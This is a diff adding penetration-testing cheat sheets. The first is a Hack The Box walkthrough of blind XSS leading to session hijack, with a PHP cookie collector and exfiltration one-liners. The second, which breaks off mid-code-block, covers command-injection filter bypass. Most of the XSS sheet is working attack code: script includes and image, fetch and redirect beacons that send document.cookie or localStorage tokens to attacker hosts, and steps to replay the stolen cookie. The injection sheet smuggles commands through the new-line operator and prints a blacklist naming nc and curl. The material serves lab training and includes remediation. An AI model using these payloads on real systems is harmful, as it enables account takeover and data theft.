+Blind cross-site scripting is stored XSS that fires inside an interface you never see, most often a support agent or administrator panel that renders attacker-controlled input. Because the execution happens out of band, you confirm it with a callback rather than a visible alert. The reliable Hack The Box chain is to inject a probe that phones home, prove the payload runs, upgrade it to a two-file collector that exfiltrates `document.cookie`, capture the victim's session token, then replay that token with a cookie editor to inherit the victim's authenticated session. This note is the field-ready version of the support.inlanefreight.local ticket walkthrough, generalised so any blind-XSS-to-hijack path can be reproduced from it. It complements Cross-Site Scripting (XSS) - HTB Cheat Sheet, which covers reflected, stored, and DOM contexts more broadly.
+
+> [!danger]+ Authorisation Boundary
+>
+> 1. Run these procedures only against **Hack The Box**, intentionally vulnerable labs, or systems you own and are explicitly authorised to test.
+> 2. A captured session cookie is live credential material. Treat it as such, use lab-only collector infrastructure, and delete `cookies.txt` and any stored tokens when the exercise ends.
+> 3. Hijacking a real user's session without authorisation is unauthorised access under laws such as the UK Computer Misuse Act. Keep it in the lab.
+> 4. XSS executes inside a browser. It does **not** by itself give you an operating-system shell on the target.
+
+---
+
+## The Attack Chain
+
+*Figure 1: The full out-of-band chain, from ticket injection to cookie replay. Attacker actions on the left, the unseen victim agent on the right.*
+
+| Stage | You do | What it proves |
+|---|---|---|
+| 1. Inject | Drop a callback probe into a stored field an agent will read | The field reaches a privileged renderer |
+| 2. Confirm | Catch the out-of-band hit on your listener | Blind XSS executes somewhere you cannot see |
+| 3. Collect | Serve a collector that reads `document.cookie` | You have infrastructure to receive the token |
+| 4. Exfiltrate | Agent's browser sends its cookie to your host | The session token is now in your log |
+| 5. Hijack | Load the token with Cookie-Editor and refresh | You are authenticated as the victim |
+
+---
+
+## Conceptual Information
+
+> [!info]+ Why It Is Called "Blind"
+>
+> 1. **Blind** means the injection point and the execution point are different surfaces. You submit into a customer ticket, the payload runs later inside the staff console.
+> 2. You never see the resulting DOM directly, only the side effect: an inbound request to infrastructure you control.
+> 3. This is why detection is **out-of-band (OOB)**. The proof is a network callback, not an on-screen `alert()`.
+> 4. Classic sinks: support and contact tickets, admin user lists, log viewers, moderation queues, exported reports, and any "an internal user will review this" workflow.
+
+> [!info]+ Why the Cookie Is Enough
+>
+> 1. Session cookies are bearer tokens. Whoever presents a valid `session=` value is treated as that user until it expires or is revoked.
+> 2. If the cookie is **not** marked `HttpOnly`, JavaScript can read it via `document.cookie`, which is exactly what blind XSS gives you.
+> 3. Replaying the token needs no password and bypasses MFA, because MFA is evaluated at login, not on every request.
+> 4. See [Session hijacking](https://owasp.org/www-community/attacks/Session_hijacking_attack) and [MITRE ATT&CK T1539 — Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539/).
+
+> [!tip]+ Fast Chain Overview
+>
+> 1. **Probe** with `nc` to prove OOB execution before building anything heavy.
+> 2. **Upgrade** to `script.js` + `index.php` so you capture the token, not just a ping.
+> 3. **Use `new Image().src`** for exfiltration so the request is fire-and-forget and does not need a visible element.
+> 4. **Hijack** with Cookie-Editor rather than crafting raw requests, because it is faster and survives redirects.
+
+---
+
+## Tools Overview
+
+> [!info]+ [Netcat](https://man.openbsd.org/nc.1) Overview
+>
+> 1. Minimal TCP listener used as a first, disposable OOB catcher.
+> 2. Proves that an injected resource was requested, confirming blind execution.
+> 3. Does not return a valid HTTP response, so the victim browser may hang, which is why it is only a first probe.
+
+> [!info]+ [PHP Built-in Server](https://www.php.net/manual/en/features.commandline.webserver.php) Overview
+>
+> 1. `php -S` gives a quick, disposable web server with no Apache or Nginx setup.
+> 2. It can execute `index.php`, letting you log captured cookies to a file server-side.
+> 3. Ideal for a short-lived two-file collector that both serves the payload and records the loot.
+
+> [!info]+ [Cookie-Editor](https://cookie-editor.com/) Overview
+>
+> 1. Browser extension for viewing, adding, editing, and deleting cookies for the current site.
+> 2. Used to inject the stolen `session` value into your own browser to hijack the session.
+> 3. Handles the domain, path, and flags for you, which is faster than scripting `Set-Cookie` by hand.
+
+> [!info]+ [Interactsh](https://github.com/projectdiscovery/interactsh) Overview
+>
+> 1. Hosted OOB interaction service that catches DNS, HTTP, and SMTP callbacks.
+> 2. Gives a persistent record of every interaction with far less setup than self-hosting `nc` or `php -S`.
+> 3. Best when running many blind-injection tests across a large scope at once. See Blind XSS Tool - Interactsh.
+
+> [!info]+ [Burp Suite](https://portswigger.net/burp/documentation) Overview
+>
+> 1. Burp Collaborator is the commercial equivalent of Interactsh, integrated into the scanner and Repeater.
+> 2. Repeater lets you resubmit the injection one controlled change at a time.
+> 3. Useful when the ticket form needs authentication, CSRF tokens, or multi-step submission.
+
+---
+
+## Commands and Implementation
+
+### 1. Confirm Blind XSS with a Simple Listener
+
+Inject a script include that points at a listener you control, then watch for the hit.
+
+```html
+"><script src=http://10.10.14.213:9000/TESTING_THIS</script>
+```
+
+```bash
+nc -lvnp 9000
+
+listening on [any] 9000 ...
+connect to [10.10.14.213] from (UNKNOWN) [10.129.203.101] 56202
+GET /TESTING_THIS%3C/script HTTP/1.1
+Host: 10.10.14.213:9000
+User-Agent: HTBXSS/1.0
+```
+
+> [!info]+ Command Breakdown
+>
+> 1. **`">`**: Breaks out of the current HTML attribute or tag context so the `<script>` is parsed as markup.
+> 2. **`<script src=...>`**: Loads a remote script, so any render of the ticket triggers a request to your host.
+> 3. **`nc -lvnp 9000`**: Listen (`-l`), verbose (`-v`), no DNS (`-n`), on port (`-p`) `9000`.
+> 4. **The callback**: The inbound `GET` from `10.129.203.101` (the victim) proves the payload executed somewhere out of band. This is the blind XSS hit.
+> 5. *Interpretation: confirmation only. The listener proves execution but does not yet give you anything useful. Note the `User-Agent: HTBXSS/1.0` and the `%3C` — the browser URL-encoded the `<` of your closing tag.*
+
+> [!warning]+ The Closing-Tag Gotcha
+>
+> 1. `nc` does not return a valid HTTP response, so `<script src>` may error and the browser can hang.
+> 2. The `%3C/script` in the log shows the parser mangled the closing tag. For reliable execution and clean exfiltration, prefer a real server and an `Image()`-based payload (below).
+> 3. Treat this step as a smoke test, then immediately upgrade to the collector.
+
+### 2. Build the Two-File Cookie Collector
+
+Create `index.php` to log incoming cookies server-side.
+
+```php
+<?php
+if (isset($_GET['c'])) {
+ $list = explode(";", $_GET['c']);
+ foreach ($list as $key => $value) {
+ $cookie = urldecode($value);
+ $file = fopen("cookies.txt", "a+");
+ fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
+ fclose($file);
+ }
+}
+?>
+```
+
+Create `script.js` to grab and exfiltrate the cookie from the victim's browser.
+
+```javascript
+new Image().src='http://10.10.14.213:9200/index.php?c='+document.cookie
+```
+
+> [!info]+ Collector Breakdown
+>
+> 1. **`$_GET['c']`**: The cookie string arrives in the `c` query parameter set by `script.js`.
+> 2. **`explode(";", ...)`**: Splits multiple cookies so each is logged on its own line.
+> 3. **`urldecode(...)`**: Reverses the URL encoding the browser applied in transit.
+> 4. **`fputs(... "a+")`**: Appends `Victim IP | Cookie` to `cookies.txt` so repeat hits accumulate.
+> 5. **`new Image().src=...`**: Creates an off-DOM image whose source is your collector plus the cookie. The browser fires the request immediately with no visible element and no user interaction.
+> 6. *Interpretation: `script.js` runs in the victim, `index.php` records the result on your host. Two files, one clean capture.*
+
+### 3. Serve the Collector
+
+```bash
+sudo php -S 0.0.0.0:9200
+```
+
+> [!info]+ Command Breakdown
+>
+> 1. **`sudo`**: Binding low ports or writing `cookies.txt` in a root-owned path may need elevation. Ports above 1024 usually do not, so drop `sudo` where you can.
+> 2. **`-S 0.0.0.0:9200`**: Starts the built-in server on all interfaces, port `9200`, so the HTB VPN interface is reachable.
+> 3. **`0.0.0.0`**: Listens on every local interface, including `tun0`. Binding to `127.0.0.1` would make the target unable to reach you.
+> 4. *Keep the shell open. Every callback is printed live and appended to `cookies.txt`.*
+
+### 4. Inject the Upgraded Payload and Capture the Cookie
+
+```html
+"><script src=http://10.10.14.213:9200/script.js></script>
+```
+
+```bash
+sudo php -S 0.0.0.0:9200
+
+[Tue Jun 21 00:33:27 2022] PHP 7.4.28 Development Server (http://0.0.0.0:9200) started
+[Tue Jun 21 00:33:42 2022] 10.129.203.101:40102 Accepted
+[Tue Jun 21 00:33:42 2022] 10.129.203.101:40102 [200]: (null) /script.js
+[Tue Jun 21 00:33:43 2022] 10.129.203.101:40104 [500]: GET /index.php?c=session=fcfaf93ab169bc943b92109f0a845d99
+```
+
+> [!success]+ What the Log Shows
+>
+> 1. **` /script.js`**: The victim's browser fetched your exfiltration script. Execution confirmed.
+> 2. **`GET /index.php?c=session=fcfaf93ab169...`**: The follow-up request carries the agent's live `session` cookie. This is the loot.
+> 3. **The ``**: `index.php` may error after logging (for example on a missing response), which is harmless — check `cookies.txt`, the value is already written.
+> 4. *You now hold `session=fcfaf93ab169bc943b92109f0a845d99`, exactly what is needed to impersonate that session.*
+
+```bash
+cat cookies.txt
+Victim IP: 10.129.203.101 | Cookie: session=fcfaf93ab169bc943b92109f0a845d99
+```
+
+### 5. Hijack the Session with Cookie-Editor
+
+> [!example]+ Session Replay Steps
+>
+> 1. Browse to the target application in your own browser and open **Cookie-Editor** from the toolbar.
+> 2. Find or create the `session` cookie for the target domain.
+> 3. Paste the stolen value `fcfaf93ab169bc943b92109f0a845d99` into the cookie's value field and save.
+> 4. Match the original `Domain`, `Path` (usually `/`), and flags where the app is strict about them.
+> 5. **Refresh the page.** The application now treats you as the victim, dropping you into their authenticated session with no password and no MFA prompt.
+
+> [!tip]+ Command-Line Alternative
+>
+> 1. If you prefer curl, replay the token directly: `curl -b "session=fcfaf93ab169bc943b92109f0a845d99" http://TARGET/admin/`.
+> 2. Cookie-Editor is usually faster on HTB because it survives client-side redirects and renders the authenticated UI for screenshots.
+
+### 6. Optional — Hosted OOB Catcher with Interactsh
+
+For large scopes, swap the self-hosted listener for a hosted catcher that keeps a persistent log.
+
+```bash
+interactsh-client -v
+```
+
+> [!info]+ Command Breakdown
+>
+> 1. Generates a unique `*.oast.fun` (or self-hosted) domain that catches DNS, HTTP, and SMTP callbacks.
+> 2. Inject with the generated host, for example `"><script src=https://YOURID.oast.fun/x.js></script>`.
+> 3. Every interaction is timestamped and correlated, which beats scrolling `nc` output when many payloads are in flight.
+> 4. *Burp Collaborator is the equivalent inside Burp Suite. See Blind XSS Tool - Interactsh.*
+
+### 7. PayloadsAllTheThings Payload Variants
+
+The [PayloadsAllTheThings XSS Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md) README, under **Proof of Concept and Data Grabber**, is the canonical payload reference for this chain. It hands you the one-liners and the same `grabber.php` idea, but it is a payload dump, not a walkthrough, so the steps above are how you actually run them. The variants below all map onto stages 1, 2, and 4 of this note.
+
+```html
+<!-- Remote-script includes (stage 1/4): pull your collector from an external host -->
+"><script src="https://js.rip/[ATTACKER.DOMAIN.TLD]"></script>
+"><script src=//[ATTACKER.DOMAIN.TLD]></script>
+<script>$.getScript("//[ATTACKER.DOMAIN.TLD]")</script>
+
+<!-- Fire-and-forget image beacon (preferred): no visible element, no interaction -->
+<script>new Image().src="http://[ATTACKER.DOMAIN.TLD]/cookie.php?c="+document.cookie;</script>
+
+<!-- localStorage bearer-token theft: use when the session lives in a JWT, not a cookie -->
+<script>new Image().src="http://[ATTACKER.DOMAIN.TLD]/cookie.php?c="+localStorage.getItem('access_token');</script>
+
+<!-- Navigation-based exfil (louder, redirects the victim away): fallback only -->
+<script>document.location='http://[ATTACKER.DOMAIN.TLD]/grabber.php?c='+document.cookie</script>
+
+<!-- fetch() POST exfil (stealthiest): cookie rides the body, stays out of access logs -->
+<script>
+fetch('https://[ATTACKER.DOMAIN.TLD]', { method: 'POST', mode: 'no-cors', body: document.cookie });
+</script>
+```
+
+> [!info]+ Variant Breakdown
+>
+> 1. **Remote-script includes**: `js.rip`, protocol-relative `//host`, and jQuery `$.getScript()` are three ways to load your collector. Use protocol-relative when the target is HTTPS so the include is not blocked as mixed content.
+> 2. **`new Image().src`**: The preferred exfil. Off-DOM, fires instantly, no user interaction, matches stage 4 of this note.
+> 3. **`localStorage.getItem('access_token')`**: Many modern apps store a JWT or bearer token in `localStorage` rather than a cookie. When `document.cookie` comes back empty because of `HttpOnly`, this often still works and the token is just as good for hijacking.
+> 4. **`document.location='...'`**: Works, but navigates the victim's browser away from the page, which is noisy and can alert the agent. Treat it as a fallback.
+> 5. **`fetch(..., {method:'POST', mode:'no-cors', body: document.cookie})`**: The stealthiest option. The cookie travels in the POST body instead of the URL query string, so it never lands in server access logs. `no-cors` lets the request fire cross-origin without a preflight.
+> 6. *All of these need a collector listening. Point them at the `php -S` server from step 3, or at one of the platforms below.*
+
+> [!tip]+ Matching Grabber for the PATT Payloads
+>
+> 1. PayloadsAllTheThings ships this minimal grabber, functionally the same as the `index.php` in step 2:
+> ```php
+> <?php
+> $cookie = $_GET['c'];
+> $fp = fopen('cookies.txt', 'a+');
+> fwrite($fp, 'Cookie:' .$cookie."\r\n");
+> fclose($fp);
+> ?>
+> ```
+> 2. Serve it with `php -S` as in step 3, or with PATT's Ruby one-liner: `ruby -run -ehttpd . -p8080`.
+> 3. For `fetch()` POST exfil, read `php://input` instead of `$_GET['c']` because the cookie arrives in the request body.
+
+---
+
+## Blind XSS Collector Platforms
+
+The `nc` and `php -S` collectors above are perfect for a single HTB ticket. For anything larger, or when you want screenshots, the rendered DOM, the victim IP, and the referring page captured automatically, use a dedicated blind XSS platform. This is where the tool the question asked about, XSS Hunter Express, fits, along with its successors.
+
+> [!warning]+ XSS Hunter Express Is Archived
+>
+> 1. The original hosted `xsshunter.com` service shut down in 2023.
+> 2. The self-hosted [xsshunter-express](https://github.com/adamjsturge/xsshunter-express) was archived on 22 April 2024 and is read-only. It still runs, but it is built on end-of-life Node 12, so it is not the one to start a fresh setup on.
+> 3. The maintained successor is [xsshunter-go](https://github.com/adamjsturge/xsshunter-go), a Go rewrite by the same author. For a full-featured PHP option, [ezXSS](https://github.com/why/ezXSS) is the current community favourite.
+> 4. *Recommendation: reach for **ezXSS** or **xsshunter-go** for a new self-hosted collector, and keep **Interactsh** or **Burp Collaborator** for lightweight OOB confirmation.*
+
+| Tool | Type | Screenshots + DOM | Setup weight | Use it when |
+|---|---|---|---|---|
+| `nc` / `php -S` | Manual collector | No | Trivial | A single HTB ticket, quick confirm and grab |
+| [Interactsh](https://github.com/projectdiscovery/interactsh) | Hosted OOB catcher | No | None (client only) | Confirming execution across many payloads |
+| Burp Collaborator | OOB catcher | No | Burp Pro | You already live in Burp |
+| [ezXSS](https://github.com/why/ezXSS) | Self-hosted platform | Yes | Medium (PHP + MySQL) | Rich reports, screenshots, `localStorage`, non-HttpOnly cookies |
+| [xsshunter-go](https://github.com/adamjsturge/xsshunter-go) | Self-hosted platform | Yes | Low (single Docker) | Maintained XSS Hunter successor, simplest full platform |
+| [xsshunter-express](https://github.com/adamjsturge/xsshunter-express) | Self-hosted (archived) | Yes | Medium (Docker) | Legacy only, prefer xsshunter-go |
+
+### Recommended — ezXSS Setup
+
+[ezXSS](https://github.com/why/ezXSS) is a self-hosted PHP platform that captures full-page screenshots, the page DOM, the origin and referrer, the victim IP and user agent, and all non-HttpOnly cookies, presented in a searchable dashboard. It is the most feature-complete self-hosted option in active development.
+
+> [!important]+ Prerequisites
+>
+> 1. A web server with PHP and a MySQL or MariaDB database, or Docker.
+> 2. A domain or subdomain you control pointing at the server, ideally short so payloads stay compact.
+> 3. TLS on that domain, because HTTPS targets will refuse an HTTP callback as mixed content.
+
+```bash
+# Docker path (fastest)
+git clone https://github.com/why/ezXSS.git
+cd ezXSS
+docker compose up -d
+# then browse to https://YOURDOMAIN/manage/ and complete the installer
+```
+
+> [!info]+ Setup Breakdown
+>
+> 1. **Clone and start**: `docker compose up -d` brings up the app and its database.
+> 2. **Installer**: Visit `/manage/` on first run to set your admin password and alert email, then delete or lock the installer as prompted.
+> 3. **Manual alternative**: Drop the files in your web root, create a MySQL database, set the credentials in `/src/Configuration.php`, run the installer at `/manage/`, then remove it.
+> 4. **DNS + TLS**: Point an `A` record at the box and terminate HTTPS (Let's Encrypt via a reverse proxy such as Caddy or Traefik is simplest).
+> 5. *After setup, the dashboard generates your payloads. See your fuller notes at Blind XSS Tool - ezXSS.*
+
+> [!example]+ Using ezXSS
+>
+> 1. In the dashboard, copy a generated payload, for example `"><script src=https://YOURDOMAIN/PAYLOADID></script>`.
+> 2. Inject it into the stored field exactly as in step 1 of this note.
+> 3. When the agent renders it, ezXSS records a report with the screenshot, DOM, cookies, and `localStorage`.
+> 4. Lift the session cookie or bearer token from the report and hijack with Cookie-Editor as in step 5.
+
+### Alternative — xsshunter-go Setup
+
+[xsshunter-go](https://github.com/adamjsturge/xsshunter-go) is the maintained successor to XSS Hunter Express, deployed as a single Docker container with SQLite by default.
+
+```yaml
+# docker-compose.yaml (minimal)
+services:
+ xsshunter:
+ image: adamjsturge/xsshunter-go:latest
+ ports:
+ - "1449:1449"
+ environment:
+ - CONTROL_PANEL_ENABLED=true
+ - DOMAIN=https://xss.YOURDOMAIN.tld
+ volumes:
+ - ./db:/app/db/
+ - ./screenshots:/app/screenshots/
+```
+
+```bash
+docker compose up -d
+```
+
+> [!info]+ Setup Breakdown
+>
+> 1. **`DOMAIN`**: The hostname baked into generated payloads. Point DNS at the server and terminate TLS in front of it.
+> 2. **`CONTROL_PANEL_ENABLED`**: Turns on the admin dashboard where you read reports and copy payloads.
+> 3. **TLS**: The README ships a Traefik plus Let's Encrypt example for automatic HTTPS. A reverse proxy handles certificates cleanly.
+> 4. **Storage**: SQLite by default, or set `DATABASE_URL` for PostgreSQL. Screenshots persist in the mounted volume.
+> 5. **Notifications**: `NOTIFY` supports Discord, Slack, and Telegram via shoutrrr, so a fired payload pings you.
+> 6. *Inject and hijack exactly as with ezXSS. Cross-reference Blind XSS Tool - XSS Hunter.*
+
+---
+
+## What to Watch Out For
+
+| Symptom | What it means | Next step |
+|---|---|---|
+| Callback never arrives | Field is not rendered by a privileged user, or egress is blocked | Try other stored fields, wait for scheduled review jobs, confirm your host is VPN-reachable |
+| `nc` hit but `script.js` never loads | `nc` returned no valid HTTP response, browser aborted | Switch to `php -S` so a real `200` is returned |
+| `%3C/script` in the log | Browser URL-encoded the closing tag | Use `new Image().src` exfiltration instead of `<script src>` closing tags |
+| Cookie captured but hijack fails | Cookie may be `HttpOnly`, `Secure`, path-scoped, or `SameSite` bound | `HttpOnly` blocks `document.cookie` entirely; look for a non-HttpOnly token or a different attack |
+| `document.cookie` is empty | The useful cookie is `HttpOnly`, or none is set on that path | Inspect cookie attributes; blind XSS can still perform actions as the victim even without token theft |
+| Hijack works then drops | Server rotated or idle-expired the session | Recapture a fresh token, act quickly |
+
+> [!warning]+ HttpOnly Is the Main Blocker
+>
+> 1. `document.cookie` cannot read cookies flagged `HttpOnly`. An empty capture does **not** mean XSS failed.
+> 2. When the session cookie is `HttpOnly`, pivot to XSS-driven actions (change email, create an admin, perform a request as the victim) rather than token theft.
+> 3. Mixed content also bites: an HTTPS target may block an HTTP collector. Use an HTTPS catcher for HTTPS victims.
+
+---
+
+## Troubleshooting
+
+> [!failure]+ No Callback At All
+>
+> 1. Open your own collector URL from the HTB browser to confirm DNS, routing, and that the listener is on the `tun0`-reachable interface.
+> 2. Confirm the injected field is actually reviewed by staff or a background job, and give scheduled jobs time to run.
+> 3. Try a plain `<img src=http://YOU/probe>` before a `<script src>` to separate "reaches the renderer" from "executes script".
+
+> [!failure]+ Script Loads but No Cookie Arrives
+>
+> 1. Verify `script.js` uses `document.cookie` and points at the right host and port.
+> 2. Check the target's Content-Security-Policy for `connect-src`/`img-src` limits in the browser console.
+> 3. The session cookie is almost certainly `HttpOnly`. Confirm in devtools and switch to an action-based payload.
+
+> [!failure]+ Cookie Replays but Session Is Not Authenticated
+>
+> 1. Confirm the cookie name is exact (`session`, `PHPSESSID`, `connect.sid`, and so on).
+> 2. Match `Domain` and `Path` precisely in Cookie-Editor.
+> 3. Some apps bind the session to a user-agent or IP fingerprint; align your request or accept that theft is mitigated.
+
+---
+
+## Remediation
+
+1. **Encode on output for the exact context** so stored input in the agent view is rendered as text, not markup. This is the root fix.
+2. **Set `HttpOnly` on session cookies** so `document.cookie` cannot read them, defeating token exfiltration.
+3. **Set `Secure` and a strict `SameSite`** to limit where cookies travel and reduce replay surface.
+4. **Bind sessions to context** (rotate on privilege change, tie to a fingerprint, enforce idle and absolute timeouts) so a stolen token has a short useful life.
+5. **Deploy a Content-Security-Policy** with `script-src` nonces or hashes and no `unsafe-inline` to block injected and remote scripts.
+6. **Sanitise stored HTML** with a maintained allowlist library such as DOMPurify, and do not mutate the result afterwards.
+7. **Restrict outbound egress** from staff consoles so exfiltration callbacks cannot leave the network.
+8. **Enable Trusted Types** where supported to lock down dangerous DOM sinks in the admin interface.
+
+---
+
+## Evidence and Reporting Checklist
+
+1. Record the injection point (URL, method, field) and the account and role that rendered the payload.
+2. Save the exact injected payload, the collector source, and the raw callback log line.
+3. Capture `cookies.txt` (redacted as policy requires) showing the stolen token and victim IP.
+4. Screenshot the authenticated session after replay to prove impact, not just execution.
+5. State clearly whether the cookie was `HttpOnly` and how that affected the outcome.
+6. Delete `cookies.txt`, stored payloads, and any replayed tokens when the engagement ends.
+
+---
+
+## Lessons Learned
+
+1. **Confirmation and impact are separate claims.** A `nc` callback proves blind execution; only a captured, replayed cookie proves session hijack. Report them distinctly.
+2. **`new Image().src` beats a closing `<script>` tag** for exfiltration, because it is fire-and-forget and avoids the URL-encoding and hang problems seen with `nc`.
+3. **`php -S` is the sweet spot** for a lab collector: it both serves the payload and runs `index.php` to log the loot, with zero Apache setup.
+4. **`HttpOnly` is the single control that most often kills this chain.** When token theft fails, pivot to performing actions as the victim instead of stealing the cookie.
+5. **Hosted catchers scale.** For wide scopes, Interactsh or Burp Collaborator replace a wall of `nc` windows with one correlated, timestamped log.
+
+---
+
+## References
+
+1. [OWASP — Cross Site Scripting Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
+2. [OWASP — Session hijacking attack](https://owasp.org/www-community/attacks/Session_hijacking_attack)
+3. [PortSwigger — Exploiting cross-site scripting to steal cookies](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies)
+4. [MITRE ATT&CK T1539 — Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539/)
+5. [MDN — Set-Cookie: HttpOnly and Secure](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie)
+6. [PHP — Built-in web server](https://www.php.net/manual/en/features.commandline.webserver.php)
+7. [PayloadsAllTheThings — XSS Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md)
+8. [ezXSS](https://github.com/why/ezXSS)
+9. [xsshunter-go](https://github.com/adamjsturge/xsshunter-go)
+10. [xsshunter-express (archived)](https://github.com/adamjsturge/xsshunter-express)
+11. [Interactsh](https://github.com/projectdiscovery/interactsh)
+12. [Cookie-Editor](https://cookie-editor.com/)
+13. Cross-Site Scripting (XSS) - HTB Cheat Sheet
+14. Blind XSS Tool - Interactsh
+15. Blind XSS Tool - ezXSS
+16. Blind XSS Tool - XSS Hunter
diff --git a/src/content/sheets/web/command-injection-filter-bypass.md b/src/content/sheets/web/command-injection-filter-bypass.md
@@ -0,0 +1,369 @@
+---
+title: "Command Injection — Filter Bypass"
+description: "Bypassing command-injection filters: space, blacklisted-character and blacklisted-command evasion, plus advanced obfuscation."
+category: web
+tags: ["web", "command-injection", "filter-bypass"]
+tools: ["socat", "PowerShell"]
+difficulty: intermediate
+updated: "2026-08-28"
+source: "vault:Web/Command Injection - Filter Bypass Cheat Sheet.md"
+---
+# Command Injection — Filter Bypass Cheat Sheet
+
+## Summary
+
+Command injection happens when attacker-controlled input reaches an operating-system shell call such as `shell_exec()`, `system()`, `exec()`, `passthru()`, or a back-tick execution, without proper validation. The reliable workflow is to confirm the sink executes a shell command, append an injection operator, then peel back each filter layer one character at a time. This sheet maps the whole Hack The Box Command Injections module: detection, operators, space filters, blacklisted characters, blacklisted commands, advanced obfuscation, evasion tooling, and the `socat` reverse-shell escape used against the INLANEFREIGHT `ping.php` endpoint. Read the source of the vulnerable script wherever possible, because guessing blind against a blacklist wastes far more time than reading the filter.
+
+> [!danger]+ Authorisation Boundary
+>
+> 1. Use these payloads only against **Hack The Box**, intentionally vulnerable labs, or systems you own and are explicitly authorised to test.
+> 2. Command injection yields real operating-system code execution. Treat every payload as production-dangerous.
+> 3. Reverse shells and pivots cross network boundaries. Stay inside the documented scope, and tear down listeners and relays when the exercise ends.
+
+---
+
+## Conceptual Information
+
+### The mental model
+
+An injectable endpoint concatenates your input into a shell string. If the backend runs something like `bash -c 'ping -c 1 <your_input>'`, then anything that terminates the `ping` argument and starts a new command runs on the host. Filters try to stop this by blacklisting operators, spaces, characters, and command names. Every filter has a bypass, because shells offer many equivalent ways to express the same instruction.
+
+> [!info]+ Vulnerable PHP sinks to look for
+>
+> 1. `system()`, `exec()`, `shell_exec()`, `passthru()`, `popen()`, `proc_open()`, and back-ticks in PHP.
+> 2. `os.system()`, `subprocess.*` with `shell=True`, and `eval` in Python.
+> 3. `Runtime.exec()` and `ProcessBuilder` in Java, `child_process.exec()` in Node.js.
+> 4. Any parameter whose value ends up as a hostname, filename, IP, or option that the server then shells out with.
+
+### Injection operators
+
+These operators chain a second command onto the intended one. The new-line character is the star of the show, because it is rarely blacklisted (payloads legitimately need it) yet works as a separator on both Linux and Windows.
+
+| Operator | URL-encoded | Executes | Notes |
+|---|---|---|---|
+| `;` | `%3b` | Both commands sequentially | Not valid in Windows CMD, works in PowerShell |
+| `\n` (new-line) | `%0a` | Both commands | Best first choice, rarely blacklisted |
+| `&` | `%26` | Both, output may interleave | Background operator |
+| `&&` | `%26%26` | Second only if first succeeds | AND |
+| `\|` | `%7c` | Second only, first output discarded | Pipe |
+| `\|\|` | `%7c%7c` | Second only if first fails | OR |
+| `` ` ` `` | `%60` | Command substitution (Linux) | Legacy back-ticks |
+| `$( )` | `%24%28%29` | Command substitution (Linux) | Modern substitution |
+
+> [!tip]+ Why new-line wins
+>
+> 1. A blacklist that blocks `;`, `&`, and `\|` still usually lets `%0a` through, because the developer needs new-lines elsewhere in the request body.
+> 2. The new-line both terminates the first command and begins yours, so `127.0.0.1%0aid` conceptually becomes two lines: `ping -c 1 127.0.0.1` then `id`.
+
+---
+
+## Detection & Filter Identification
+
+### Step 1 — Confirm the sink shells out
+
+Send the intended value and a chained operator, then compare responses. A successful ping plus extra output, a timing difference, or an error that leaks a shell message all indicate a shell call.
+
+```bash
+# Baseline: normal behaviour
+curl "http://target/ping.php?ip=127.0.0.1"
+
+# Probe: append an operator + command
+curl "http://target/ping.php?ip=127.0.0.1;id"
+curl "http://target/ping.php?ip=127.0.0.1%0aid"
+```
+
+> [!info]+ What each response tells you
+>
+> 1. **Invalid input** on `;` but success on `%0a`: an operator blacklist exists, new-line is allowed.
+> 2. **Ping runs but no `id` output**: the operator was accepted but a later filter (space, word) stripped or rejected the injected command.
+> 3. **Blank or 500 error**: input may have broken the shell string. Adjust quoting.
+
+### Step 2 — Read the filter if you can
+
+The single biggest time-saver is dumping the script source once you have any execution, so you stop guessing. In the INLANEFREIGHT lab the filter blacklist is visible directly in `ping.php`.
+
+```php
+<?php
+function filter($str)
+{
+ $operators = ['&', '|', ';', '\\', '/', ' '];
+ foreach ($operators as $operator) {
+ if (strpos($str, $operator)) { return true; }
+ }
+ $words = ['whoami', 'echo', 'rm', 'mv', 'cp', 'id', 'curl', 'wget', 'cd',
+ 'sudo', 'mkdir', 'man', 'history', 'ln', 'grep', 'pwd', 'file',
+ 'find', 'kill', 'ps', 'uname', 'hostname', 'date', 'uptime',
+ 'lsof', 'ifconfig', 'ipconfig', 'ip', 'tail', 'netstat', 'tar',
+ 'apt', 'ssh', 'scp', 'less', 'more', 'awk', 'head', 'sed',
+ 'nc', 'netcat'];
+ foreach ($words as $word) {
+ if (strpos($str, $word) !== false) { return true; }
+ }
+ return false;
+}
+if (isset($_GET['ip'])) {
+ $ip = $_GET['ip'];
+ if (filter($ip)) { $output = "Invalid input"; }
+ else { $cmd = "bash -c 'ping -c 1 " . $ip . "'"; $output = shell_exec($cmd); }
+}
+?>
+```
+
+> [!warning]+ Two subtle filter bugs to exploit
+>
+> 1. **Operator check uses `strpos()` truthiness**: `if (strpos($str, $operator))` treats position `0` as false. A blacklisted operator sitting at the very start of the string slips through, though that rarely helps here since our injection follows the IP.
+> 2. **The command is wrapped in single quotes**: `bash -c 'ping -c 1 <input>'`. That wrapper is exactly why splitting command names with single quotes works, see below.
+> 3. **`ip` is blacklisted as a word**, so `ifconfig` and `ip a` are blocked, but we bypass this by splitting characters.
+
+---
+
+## Bypassing Space Filters
+
+The space is the most commonly blacklisted character, because a valid IP never needs one. There are many space-free substitutes.
+
+| Technique | Payload fragment | Works on | Notes |
+|---|---|---|---|
+| **Tab** | `%09` | Linux + Windows | Shells treat tabs as argument separators |
+| **`${IFS}`** | `${IFS}` | Linux (bash/sh) | Default IFS is space + tab + new-line |
+| **`$IFS$9`** | `$IFS$9` | Linux | `$9` is an empty positional arg, ends the var name cleanly |
+| **Brace expansion** | `{ls,-la}` | Linux (bash) | Braces auto-insert spaces between elements |
+| **Input redirection** | `<` and `<>` | Linux | `cat<file` reads without a space |
+| **Windows `%IFS%`** | not valid | Windows | Use `,` in some CMD contexts instead |
+
+```bash
+# All of these run "ping -c 1 127.0.0.1" then the injected command, space-free
+
+# Tab as separator
+curl "http://target/ping.php?ip=127.0.0.1%0a%09id"
+
+# IFS environment variable
+curl "http://target/ping.php?ip=127.0.0.1%0a${IFS}id" # URL: %0a%24%7bIFS%7did
+
